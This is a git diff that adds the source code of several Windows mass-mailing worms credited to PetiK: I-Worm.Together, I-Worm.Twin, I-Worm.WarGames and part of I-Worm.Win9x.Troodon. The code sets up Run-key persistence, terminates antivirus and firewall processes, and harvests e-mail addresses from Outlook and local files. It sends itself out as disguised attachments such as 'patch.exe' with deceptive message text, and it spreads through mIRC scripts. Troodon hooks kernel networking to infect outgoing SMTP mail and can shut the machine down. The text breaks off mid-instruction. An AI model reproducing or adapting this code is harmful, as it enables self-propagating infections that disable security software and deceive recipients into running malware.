Spread_Worm+e_s_w:++end_worm:+ push 0+ api ExitProcess++hide_worm Proc+ pushad+ @pushsz "KERNEL32.DLL"+ api GetModuleHandleA+ xchg eax,ecx+ jecxz end_hide_worm+ @pushsz "RegisterServiceProcess" ; Registered as Service Process+ push ecx+ api GetProcAddress+ xchg eax,ecx+ jecxz end_hide_worm+ push 1+ push 0+ call ecx+ end_hide_worm:+ popad+ ret+hide_worm EndP++Spread_Mirc Proc+ push offset copy_worm+ push offset mirc_exe+ api lstrcpy+ call @mirc+ db "C:\mirc\script.ini",0+ db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.+ db "C:\progra~1\mirc\script.ini",0+ db "C:\progra~1\mirc32\script.ini",0+ @mirc:+ pop esi+ push 4+ pop ecx+ mirc_loop:+ push ecx+ push 0+ push 80h+ push 2+ push 0+ push 1+ push 40000000h+ push esi+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ @tmp_mirc:+ push e_mirc - s_mirc+ push offset s_mirc+ push ebp+ api WriteFile+ push ebp+ api CloseHandle+ @endsz+ pop ecx+ loop mirc_loop+ end_spread_mirc:+ ret+Spread_Mirc EndP++Spread_Worm Proc+ pushad+ push 50+ push offset vbs_worm+ api GetSystemDirectoryA+ @pushsz "\eBase.vbs"+ push offset vbs_worm+ api lstrcat++ push 0+ push 20h+ push 2+ push 0+ push 1+ push 40000000h+ push offset vbs_worm+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ push e_vbs - s_vbs+ push offset s_vbs+ push ebp+ api WriteFile+ push ebp+ api CloseHandle++ push 1+ push 0+ push 0+ push offset vbs_worm+ @pushsz "open"+ push 0+ api ShellExecuteA++verif_inet:+ push 0+ push offset inet+ api InternetGetConnectedState+ dec eax+ jnz verif_inet++ push 50+ push offset t_ini+ api GetSystemDirectoryA+ @pushsz "\together.ini"+ push offset t_ini+ api lstrcat++ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ push offset t_ini+ api CreateFileA+ inc eax+ je end_spread_worm+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 2+ push eax+ push ebx+ api CreateFileMappingA+ test eax,eax+ je end_s1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 4+ push ebp+ api MapViewOfFile+ test eax,eax+ je end_s2+ xchg eax,esi++ push 0+ push ebx+ api GetFileSize+ cmp eax,4+ jbe end_s3++scan_mail:+ xor edx,edx+ mov edi,offset mail_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,";"+ je end_m+ cmp al,"#"+ je f_mail+ cmp al,'@'+ jne not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ end_m: xor al,al+ stosb+ pop edi+ test edx,edx+ je scan_mail+ call send_mail+ jmp scan_mail+ f_mail:++end_s3: push esi+ api UnmapViewOfFile+end_s2: push ebp+ api CloseHandle+end_s1: push ebx+ api CloseHandle++ end_spread_worm:+ popad+ jmp e_s_w+Spread_Worm EndP++send_mail:+ xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [sess]+ api MAPISendMail+ ret+++.data+; === Copy Worm ===+orig_worm db 50 dup (0)+copy_worm db 50 dup (0)+verif_worm db 50 dup (0)+sysTime db 16 dup(0)++; === Fuck AntiVirus ===+uProcess PROCESSENTRY32 <?>+ProcessID dd ?+lSnapshot dd ?+new_name db 100 dup (?)++; === Spread With mIrc ===+s_mirc: db "[script]",CRLF+ db ";Don't edit this file.",CRLF,CRLF+ db "n0=on 1:JOIN:{",CRLF+ db "n1= /if ( $nick == $me ) { halt }",CRLF+ db "n2= /.dcc send $nick "+mirc_exe db 50 dup (?)+ db CRLF,"n3=}",0+e_mirc:+byte_write dd ?++; === Spread with Outlook ===+vbs_worm db 50 dup (0)+t_ini db 50 dup (0)+mail_addr db 128 dup (?)+inet dd 0+sess dd 0++subject db "Re: Answer",0+body db "Here for you...",0+filename db "funny_game.exe",0++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd ?+ dd ?+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset mail_addr+ dd offset mail_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset orig_worm+ dd offset filename+ dd ?+++s_vbs:+ db 'On Error Resume Next',CRLF+ db 'Set fs=CreateObject("Scripting.FileSystemObject")',CRLF+ db 'Set sys=fs.GetSpecialFolder(1)',CRLF+ db 'Set c=fs.CreateTextFile(sys&"\together.ini")',CRLF+ db 'c.Close',CRLF+ db 'Set ou=CreateObject("Outlook.Application")',CRLF+ db 'Set map=ou.GetNameSpace("MAPI")',CRLF+ db 'adr=""',CRLF+ db 'For Each mel in map.AddressLists',CRLF+ db 'If mel.AddressEntries.Count <> 0 Then',CRLF+ db 'For O=1 To mel.AddressEntries.Count',CRLF+ db 'adr=adr &";"& mel.AddressEntries(O).Address',CRLF+ db 'Next',CRLF+ db 'End If',CRLF+ db 'Next',CRLF+ db 'adr=adr &";#"',CRLF,CRLF+ db 'Set c=fs.OpenTextFile(sys&"\together.ini",2)',CRLF+ db 'c.WriteLine adr',CRLF+ db 'c.Close',CRLF+e_vbs:++++signature db "I-Worm.Together "+author db "Coded by PetiK - 2002",00h++end start_worm+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Twin.asm b/Worms/InternetWorm/I-Worm.Twin.asmnew file mode 100644index 0000000..27be640--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Twin.asm@@ -0,0 +1,198 @@+comment #+Name : I-Worm.Twin+Author : PetiK+Date : January 30th 2002 - February 1st 2002+Size : 6656 bytes++Action : See yourself. It's not complex.+#++.586p+.model flat+.code++JUMPS++api macro a+extrn a:proc+call a+endm++include useful.inc+include myinclude.inc++start: push 50+ mov esi,offset orig_worm+ push esi+ push 0+ api GetModuleFileNameA++ push 25+ push esi+ push 1+ @pushsz "AntiVirus Freeware"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ api SHSetValueA++ @pushsz "C:\twin.vbs"+ api DeleteFileA++ push 50+ push offset pathname+ api GetWindowsDirectoryA+ @pushsz "\NetInfo.doc"+ push offset pathname+ api lstrcat++verif_inet:+ push 0+ push offset inet+ api InternetGetConnectedState+ dec eax+ jnz verif_inet++ push 0+ push 0+ push 3+ push 0+ push 1+ push 80000000h+ @pushsz "C:\backup.win"+ api CreateFileA+ inc eax+ je end_worm+ dec eax+ xchg ebx,eax++ push 0+ push 0+ push 0+ push 2+ push 0+ push ebx+ api CreateFileMappingA+ test eax,eax+ je end_w1+ xchg eax,ebp++ push 0+ push 0+ push 0+ push 4+ push ebp+ api MapViewOfFile+ test eax,eax+ je end_w2+ xchg eax,esi++ push 0+ push ebx+ api GetFileSize+ cmp eax,3+ jbe end_w3++scan_mail:+ xor edx,edx+ mov edi,offset mail_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,0dh+ je entr1+ cmp al,0ah+ je entr2+ cmp al,"#"+ je f_mail+ cmp al,'@'+ jne not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ entr1: xor al,al+ stosb+ pop edi+ test edx,edx+ je scan_mail+ call send_mail+ jmp scan_mail+ entr2: xor al,al+ stosb+ pop edi+ jmp scan_mail+ f_mail:++end_w3: push esi+ api UnmapViewOfFile+end_w2: push ebp+ api CloseHandle+end_w1: push ebx+ api CloseHandle+++end_worm:+ push 0+ api ExitProcess++send_mail:+ xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [sess]+ api MAPISendMail+ ret++.data+orig_worm db 50 dup (0)+pathname db 50 dup (0)+mail_addr db 128 dup (?)+inet dd 0+sess dd 0++subject db "A comical story for you.",0+body db "I send you a comical story found on the Net.",0dh,0ah,0dh,0ah+ db 9,"Best Regards. You friend.",0+filename db "comical_story.doc",0++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd ?+ dd ?+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset mail_addr+ dd offset mail_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset pathname+ dd offset filename+ dd ?+++end start+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.WarGames.c b/Worms/InternetWorm/I-Worm.WarGames.cnew file mode 100644index 0000000..1b4eec6--- /dev/null+++ b/Worms/InternetWorm/I-Worm.WarGames.c@@ -0,0 +1,379 @@+/*+Name : I-Worm.WarGames+Author : PetiK+Date : February 12th 2002 - February 22th 2002+Language : C++/Win32asm+*/++#include <stdio.h>+#include <windows.h>+#include <mapi.h>+#include <tlhelp32.h>+#pragma argused+#pragma inline++char filename[100],sysdir[100],copyr[50]="w",winhtm[100],subj[50];+int num,counter=0;+char *alph[]={"a","b","c","d","e","f","g","h","i","j","k","l","m",+ "n","o","p","q","r","s","t","u","v","w","x","y","z"};+char dn[20]="Wargames Uninstall",ust[40]="rundll32 mouse,disable";+LPSTR SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";+BYTE desktop[50],favoris[50],personal[50],cache[50],page[150];+DWORD sizcache=sizeof(desktop),sizfavoris=sizeof(favoris),+ sizpersonal=sizeof(personal),sizdesktop=sizeof(cache),spage=sizeof(page);+DWORD type=REG_SZ;+FILE *vbsworm,*winstart;+HANDLE lSnapshot,myproc;+BOOL rProcessFound;++LHANDLE session;+MapiMessage mess;+MapiMessage *mes;+MapiRecipDesc from;+char messId[512],mname[50],maddr[30];+HINSTANCE hMAPI;++WIN32_FIND_DATA ffile;+PROCESSENTRY32 uProcess;+HKEY hReg;+SYSTEMTIME wartime;++void StopAV(char *);+void FindFile(char *,char *);+void GetMail(char *,char *);+void sendmail(char *);++ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);+ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);+ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);+ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);+ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);+ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);++int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)+{+// Kill Some AntiVirus+StopAV("AVP32.EXE"); // AVP+StopAV("AVPCC.EXE"); // AVP+StopAV("AVPM.EXE"); // AVP+StopAV("WFINDV32.EXE"); // Dr. Solomon+StopAV("F-AGNT95.EXE"); // F-Secure+StopAV("NAVAPW32.EXE"); // Norton Antivirus+StopAV("NAVW32.EXE"); // Norton Antivirus+StopAV("NMAIN.EXE"); // Norton Antivirus+StopAV("PAVSCHED.EXE"); // Panda AntiVirus+StopAV("ZONEALARM.EXE"); // ZoneAlarm++// Kill Some Worm+StopAV("KERN32.EXE"); // I-Worm.Badtrans+StopAV("SETUP.EXE"); // I-Worm.Cholera+StopAV("RUNDLLW32.EXE"); // I-Worm.Gift+StopAV("GONER.SCR"); // I-Worm.Goner+StopAV("LOAD.EXE"); // I-Worm.Nimda+StopAV("INETD.EXE"); // I-Worm.Plage - BadTrans+StopAV("FILES32.VXD"); // I-Worm.PrettyPark+StopAV("SCAM32.EXE"); // I-Worm.Sircam+StopAV("GDI32.EXE"); // I-Worm.Sonic+StopAV("_SETUP.EXE"); // I-Worm.ZippedFiles+StopAV("EXPLORE.EXE"); // I-Worm.ZippedFiles+StopAV("ZIPPED_FILES.EXE"); // I-Worm.ZippedFiles++GetModuleFileName(hInst,filename,100);+GetSystemDirectory((char *)sysdir,100);+SetCurrentDirectory(sysdir);+CopyFile(filename,"article.doc.exe",TRUE);+RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WarGames Worm",&hReg);+RegSetValueEx(hReg,"DisplayName",0,REG_SZ,(BYTE *)dn,20);+RegSetValueEx(hReg,"UninstallString",0,REG_SZ,(BYTE *)ust,40);+RegCloseKey(hReg);++randomize();+num=rand() % 10;+randname:+strcat(copyr,alph[GetTickCount()%25]);+if(++counter==num) {+ strcat(copyr,".exe");+ MessageBox(NULL,copyr,"New Copy Name:",MB_OK|MB_ICONINFORMATION);+ CopyFile(filename,copyr,FALSE);+ WriteProfileString("WINDOWS","RUN",copyr);+ WritePrivateProfileString("rename","NUL",filename,"WININIT.INI");+ goto endrandname;+ }+Sleep(GetTickCount()%100);+goto randname;+endrandname:++hMAPI=LoadLibrary("MAPI32.DLL");+(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");+RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);+RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);+RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);+RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);+RegQueryValueEx(hReg,"Cache",0,&type,cache,&sizcache);+RegCloseKey(hReg);+GetWindowsDirectory((char *)winhtm,100);++_asm+{+call @wininet+db "WININET.DLL",0+@wininet:+call LoadLibrary+test eax,eax+jz end_asm+mov ebp,eax+call @inetconnect+db "InternetGetConnectedState",0+@inetconnect:+push ebp+call GetProcAddress+test eax,eax+jz end_wininet+mov edi,eax+verf:+push 0+push Tmp+call edi+dec eax+jnz verf++end_wininet:+push ebp+call FreeLibrary+end_asm:+jmp end_all_asm++Tmp dd 0++end_all_asm:+}++FindFile(desktop,"*.htm");+FindFile(desktop,"*.doc");+FindFile(favoris,"*.ht*");+FindFile(personal,"*.ht*");+FindFile(personal,"*.doc");+FindFile(personal,"*.xls");+FindFile(personal,"*.asp");+FindFile(cache,".ht*");+FindFile(cache,".php");+FindFile(cache,".asp");+FindFile(winhtm,".ht*");+FindFile(winhtm,".doc");+++vbsworm=fopen("wargames.vbs","w");+fprintf(vbsworm,"On Error Resume Next\n");+fprintf(vbsworm,"msgbox %cScripting.FileSystemObject%c\n",34,34);+fprintf(vbsworm,"Set sf=CreateObject(%cScripting.FileSystemObject%c)\n",34,34);+fprintf(vbsworm,"Set sys=sf.GetSpecialFolder(1)\n");+fprintf(vbsworm,"Set OA=CreateObject(%cOutlook.Application%c)\n",34,34);+fprintf(vbsworm,"Set MA=OA.GetNameSpace(%cMAPI%c)\n",34,34);+fprintf(vbsworm,"For Each C In MA.AddressLists\n");+fprintf(vbsworm,"If C.AddressEntries.Count <> 0 Then\n");+fprintf(vbsworm,"For D=1 To C.AddressEntries.Count\n");+fprintf(vbsworm,"Set AD=C.AddressEntries(D)\n");+fprintf(vbsworm,"Set EM=OA.CreateItem(0)\n");+fprintf(vbsworm,"EM.To=AD.Address\n");+fprintf(vbsworm,"EM.Subject=%cHi %c&AD.Name&%c read this.%c\n",34,34,34,34);+fprintf(vbsworm,"body=%cI found this on the web and it is important.%c\n",34,34);+fprintf(vbsworm,"body = body & VbCrLf & %cOpen the attached file and read.%c\n",34,34);+fprintf(vbsworm,"EM.Body=body\n");+fprintf(vbsworm,"EM.Attachments.Add(sys&%c\\article.doc.exe%c)\n",34,34);+fprintf(vbsworm,"EM.DeleteAfterSubmit=True\n");+fprintf(vbsworm,"If EM.To <> %c%c Then\n",34,34);+fprintf(vbsworm,"EM.Send\n");+fprintf(vbsworm,"End If\n");+fprintf(vbsworm,"Next\n");+fprintf(vbsworm,"End If\n");+fprintf(vbsworm,"Next\n");+fclose(vbsworm);+ShellExecute(NULL,"open","wargames.vbs",NULL,NULL,SW_SHOWNORMAL);+Sleep(5000);+DeleteFile("wargames.vbs");++(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");+(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");+(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");+(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");+(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");+mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);+if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {+ do {+ if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {+ strcpy(mname,mes->lpOriginator->lpszName);+ strcpy(maddr,mes->lpOriginator->lpszAddress);+ mes->ulReserved=0;+ mes->lpszSubject="Re: Fw:";+ mes->lpszNoteText="I received your mail but I cannot reply immediatly.\n"+ "I send you a nice program. Look at this.\n\n"+ " See you soon.";+ mes->lpszMessageType=NULL;+ mes->lpszDateReceived=NULL;+ mes->lpszConversationID=NULL;+ mes->flFlags=MAPI_SENT;+ mes->lpOriginator->ulReserved=0;+ mes->lpOriginator->ulRecipClass=MAPI_ORIG;+ mes->lpOriginator->lpszName=mes->lpRecips->lpszName;+ mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;+ mes->nRecipCount=1;+ mes->lpRecips->ulReserved=0;+ mes->lpRecips->ulRecipClass=MAPI_TO;+ mes->lpRecips->lpszName=mname;+ mes->lpRecips->lpszAddress=maddr;+ mes->nFileCount=1;+ mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));+ memset(mes->lpFiles, 0, sizeof(MapiFileDesc));+ mes->lpFiles->ulReserved=0;+ mes->lpFiles->flFlags=NULL;+ mes->lpFiles->nPosition=-1;+ mes->lpFiles->lpszPathName=filename;+ mes->lpFiles->lpszFileName="funny.exe";+ mes->lpFiles->lpFileType=NULL;+ mSendMail(session, NULL, mes, NULL, NULL);+ }+ }while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);+free(mes->lpFiles);+mFreeBuffer(mes);+mLogoff(session,0,0,0);+FreeLibrary(hMAPI);+}+++}++void FindFile(char *folder, char *ext)+{+register bool abc=TRUE;+register HANDLE hFile;+char mail[128];+SetCurrentDirectory(folder);+hFile=FindFirstFile(ext,&ffile);+if(hFile!=INVALID_HANDLE_VALUE) {+ while(abc) {+ SetFileAttributes(ffile.cFileName,FILE_ATTRIBUTE_ARCHIVE);+ GetMail(ffile.cFileName,mail);+ if(strlen(mail)>0) {+ sendmail(mail);+ }+ abc=FindNextFile(hFile,&ffile);+ }+}++}++void GetMail(char *namefile, char *mail)+{+HANDLE hf,hf2;+char *mapped;+DWORD size,i,k;+BOOL test=FALSE,valid=FALSE;+mail[0]=0;++hf=CreateFile(namefile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,0);+if(hf==INVALID_HANDLE_VALUE)+ return;+size=GetFileSize(hf,NULL);+if(!size)+ return;+if(size<8)+ return;+size-=100;++hf2=CreateFileMapping(hf,0,PAGE_READONLY,0,0,0);+if(!hf2) {+ CloseHandle(hf);+ return;+ }++mapped=(char *)MapViewOfFile(hf2,FILE_MAP_READ,0,0,0);+if(!mapped) {+ CloseHandle(hf2);+ CloseHandle(hf);+ return;+ }++i=0;+while(i<size && !test) {+if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {+ test=TRUE;+ i+=strlen("mailto:");+ k=0;+ while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) {+ if(mapped[i]!=' ') {+ mail[k]=mapped[i];+ k++;+ if(mapped[i]=='@')+ valid=TRUE;+ }+ i++;+ }+ mail[k]=0;+ } else+ i++;+}++if(!valid)+ mail[0]=0;+UnmapViewOfFile(mapped);+CloseHandle(hf2);+CloseHandle(hf);+return;+}++void sendmail(char *tos)+{+memset(&mess,0,sizeof(MapiMessage));+memset(&from,0,sizeof(MapiRecipDesc));+wsprintf(subj,"Mail to %s.",tos);++from.lpszName=NULL;+from.ulRecipClass=MAPI_ORIG;+mess.lpszSubject=subj;+mess.lpszNoteText="I send you this patch.\n"+ "It corrects a bug into Internet Explorer and Outlook.\n\n"+ " Have a nice day. Best Regards.";++mess.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));+ if(!mess.lpRecips)+ return;+memset(mess.lpRecips,0,sizeof(MapiRecipDesc));+mess.lpRecips->lpszName=tos;+mess.lpRecips->lpszAddress=tos;+mess.lpRecips->ulRecipClass=MAPI_TO;+mess.nRecipCount=1;++mess.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));+ if(!mess.lpFiles)+ return;+memset(mess.lpFiles,0,sizeof(MapiFileDesc));+mess.lpFiles->lpszPathName=filename;+mess.lpFiles->lpszFileName="patch.exe";+mess.nFileCount=1;++mess.lpOriginator=&from;++mSendMail(0,0,&mess,0,0);++free(mess.lpRecips);+free(mess.lpFiles);+}++void StopAV(char *antivirus)+{+register BOOL term;+lSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);+uProcess.dwSize=sizeof(uProcess);+rProcessFound=Process32First(lSnapshot,&uProcess);+while(rProcessFound) {+ if(strstr(uProcess.szExeFile,antivirus)!=NULL) {+ myproc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,uProcess.th32ProcessID);+ if(myproc!=NULL) {+ term=TerminateProcess(myproc,0);+ }+ CloseHandle(myproc);+ }+ rProcessFound=Process32Next(lSnapshot,&uProcess);+}+CloseHandle(lSnapshot);+}diff --git a/Worms/InternetWorm/I-Worm.Win9x.Troodon.asm b/Worms/InternetWorm/I-Worm.Win9x.Troodon.asmnew file mode 100644index 0000000..532436c--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Win9x.Troodon.asm@@ -0,0 +1,15931 @@++��������������������������������������������������������������[TROODON.ASM]���+; I-Worm.Win9X.Troodon Project+;-----------------------------------------+; Technical details:+; This is an Win95/98 specific Internet-Worm, witch spreads trough e-mail.+; When executed it does more things in ring3 and ring0 too.+; - ring3 actions -+; - it looks very similar with a normal Windows application witch has a window etc.+; So it has a window and a message loop. This is needed by the payload witch will activate+; on a specific date (check code). When payload is triggered the foreground window on the desktop+; will start bounce arround on the screen, for 30 seconds then Windows will shutdown.+; This is the payload part, it will activate only if it is running under the name "systray.exe"+; - when starting it checks if already installed in the system: checks if it's name is "systray.exe".+; If not, then it copies itself in System directory under the name "systray.me", by using wininit.ini+; systray.exe will be replaced by systray.me on next startup, and original systray.exe will be saved+; in systray.sys.+; If the name isn't systray.exe then it will show a message to fool the user all is ok.+; If the name is systray.exe then it will run the saved systray.sys using WinExec and it will assume+; that it is already installed in the system.+; - it will encoded current process'es file in base64 and save it in memory allocated with VirtualAlloc+; - it will check for signature in memory at 0xC000E990+; If not in memory then it will jump into ring0 by using a callgate method described by Zombie,+; by patching LDT table.+;+; - ring0 actions -+; - it allocates memory in ring0 for it's own code and for encoded file.+; - it copies itself and the encoded file in there (after jumping back into ring3 the memory used for+; encoded file will be free.+; - it will hook TdiConnect, TdiSend, TdiCloseConnection, TdiDisconnect for it's own use.+; - it will monitor all outgoing connections checking for SMTP (port 25) connections.+; - when it find one it will wait for DATA command for SMTP server+; - then it will check the content of the e-mail, if it is a MIME formated e-mail containing+; text/plain or text/html or both it will modify the message attaching it's own code (encoded in base64)+; to the mail.+;+; It has it's own string routines.+; Things I didn't do in this version are: doesn't attach to mails that already have attachements, and to mails+; with no MIME content.+;+;+; This is done using NASM syntax.+; Compilation and linking:+; NASMW -f win32 v.asm+; GORC /r vres.rc+; ALINK -entry start -oPE v.obj vres.res kernel32.lib user32.lib gdi32.lib+++extern ExitProcess+extern RegisterServiceProcess+extern GetModuleHandleA+extern GetModuleFileNameA+extern CopyFileA+extern DeleteFileA+extern WritePrivateProfileStringA+extern WinExec+extern VirtualAlloc+extern VirtualFree+extern CreateFileA+extern GetFileSize+extern CloseHandle+extern CreateFileMappingA+extern MapViewOfFile+extern UnmapViewOfFile+extern MessageBoxA+extern GetForegroundWindow+extern GetWindowRect+extern MoveWindow+extern RegisterClassA+extern CreateWindowExA+extern ShowWindow+extern UpdateWindow+extern GetMessageA+extern TranslateMessage+extern DispatchMessageA+extern PostQuitMessage+extern DefWindowProcA+extern SetTimer+extern GetLocalTime+extern ExitWindowsEx+extern GetSystemDirectoryA+extern lstrcatA++%include "win32n.inc"+%include "vxdn.inc"++@@VTDI_Get_Version equ 004880000h+@@VTDI_Get_Info equ 004880008h+ID_TIMER1 equ 100+ID_TIMER2 equ 101+step equ 2++global start++[bits 32]+[section .text]++start:+%define ebp_hInstance ebp+8 ; handle of current instance+%define ebp_hPrevInstance ebp+0ch ; handle of previous instance+%define ebp_lpszCmdLine ebp+10h ; pointer to command line+%define ebp_nCmdShow ebp+14h ; show state of window++ push ebp+ mov ebp,esp++ ; hide the process even if it stay just a bit in memory,+ ; just to be sure that no quick eye see it+ push dword 1+ push dword 0+ call RegisterServiceProcess++ ; get module handle+ push dword 0+ call GetModuleHandleA++ ; get module file name+ push dword [path_len]+ push dword my_path+ push eax+ call GetModuleFileNameA++ ; make paths; %SYSDIR% + filenames+ call make_paths++ ; Register Window Class+ mov eax, [ebp_hInstance]+ mov [WindowClassStruc+WNDCLASS.hInstance], eax+ mov dword [WindowClassStruc+WNDCLASS.hIcon], 0+ mov dword [WindowClassStruc+WNDCLASS.hCursor], 0++ push dword WindowClassStruc+ call RegisterClassA++ test eax,eax+ jnz .Success++.Fail: jmp FareWell++.Success:++MakeWindow: ; create the window+ push dword 0+ push dword [ebp_hInstance]+ push dword 0+ push dword 0+ push dword 200+ push dword 200+ push dword 10+ push dword 10+ push dword WS_OVERLAPPEDWINDOW+ push dword WindowTitle+ push dword ClassName+ push dword WS_EX_OVERLAPPEDWINDOW+ call CreateWindowExA++ test eax,eax+ jnz .Success++.Fail: jmp FareWell++.Success: mov [WindowHandle], eax+ push dword SW_HIDE+ push dword [WindowHandle]+ call ShowWindow++ push eax+ call UpdateWindow++MsgLoop: ; the message loop+ push dword 0+ push dword 0+ push dword 0+ push dword WindowMSG+ call GetMessageA++ or eax,eax+ jz FareWell++ push dword WindowMSG+ call TranslateMessage++ push dword WindowMSG+ call DispatchMessageA++ jmp MsgLoop++FareWell: push dword 0+ call ExitProcess++WndProc:+%define ebp_hWnd ebp+8 ; handle of window+%define ebp_Msg ebp+0ch ; message+%define ebp_wParam ebp+10h ; first message parameter+%define ebp_lParam ebp+14h ; second message parameter+%define ebp_DC ebp-4++ push ebp+ mov ebp,esp++ cmp dword [ebp_Msg], WM_CREATE+ jz Create_Handler+ cmp dword [ebp_Msg], WM_TIMER+ jnz .next_2+ jmp Timer_Handle+.next_2: cmp dword [ebp_Msg], WM_DESTROY+ jnz .next_1+ jmp Destroy_Handler+.next_1:++.DefMsgHandler:+ push dword [ebp_lParam]+ push dword [ebp_wParam]+ push dword [ebp_Msg]+ push dword [ebp_hWnd]+ call DefWindowProcA++.Exit: mov esp,ebp+ pop ebp+ ret 0x0C++Create_Handler:+ ; check if the name of the file is "systray.exe"+ call check_systray++ ; THIS is the call the installs the i-worm "engine" in memory+ call iworm++ push dword STime+ call GetLocalTime++ cmp byte [systray_ornot], 1 ; "myself" is systray.exe+ je .next_1++ ; Get out+ push dword 0+ call ExitProcess++.next_1: ; next is for payload+ cmp word [STime+SYSTEMTIME.wDayOfWeek], 6+ jne .exit++ push dword 0+ push dword 1+ push dword ID_TIMER1+ push dword [ebp_hWnd]+ call SetTimer++ push dword 0+ push dword 300000+ push dword ID_TIMER2+ push dword [ebp_hWnd]+ call SetTimer++.exit: jmp WndProc.Exit++Timer_Handle:+ ; this is for payload again+ cmp dword [ebp_wParam], ID_TIMER1+ jnz .next_1+ jmp .timer_1+.next_1: cmp dword [ebp_wParam], ID_TIMER2+ jnz .next_2+ jmp .timer_2+.next_2: jmp WndProc.Exit++.timer_1: ; get forground window+ call GetForegroundWindow+ mov dword [hWnd], eax++ ; "Restore" window+ push dword SW_RESTORE+ push eax+ call ShowWindow++ ; get window position and size+ push dword rect+ push dword [hWnd]+ call GetWindowRect++ ; move it+ push dword 1+ mov eax, [rect+RECT.bottom]+ sub eax, [rect+RECT.top]+ push eax+ mov eax, [rect+RECT.right]+ sub eax, [rect+RECT.left]+ push eax+ mov eax, [rect+RECT.top]+ add eax, [y]+ push eax+ mov eax, [rect+RECT.left]+ add eax, [x]+ push eax+ push dword [hWnd]+ call MoveWindow++ mov eax, [rect+RECT.right]+ cmp eax, 1014+ jg .dec_x+ mov eax, [rect+RECT.left]+ cmp eax, 10+ jb .inc_x+ jmp .done_x+.dec_x: mov dword [x], -step+ jmp .done_x+.inc_x: mov dword [x], step+.done_x:++ mov eax, [rect+RECT.bottom]+ cmp eax, 758+ jg .dec_y+ mov eax, [rect+RECT.top]+ cmp eax, 10+ jb .inc_y+ jmp .done_y+.dec_y: mov dword [y], -step+ jmp .done_y+.inc_y: mov dword [y], step+.done_y: jmp WndProc.Exit++.timer_2: push dword 0+ push dword EWX_SHUTDOWN+ call ExitWindowsEx++ jmp WndProc.Exit+++Destroy_Handler:+ push dword 0+ call PostQuitMessage+ jmp WndProc.Exit++ jmp WndProc.DefMsgHandler+++++;------------------------------------------------------------+; Here starts the part witch makes this an I-Worm+;------------------------------------------------------------+iworm: pushad++ ; encode in base64 the file+ mov esi, my_path+ call encode++ cmp byte 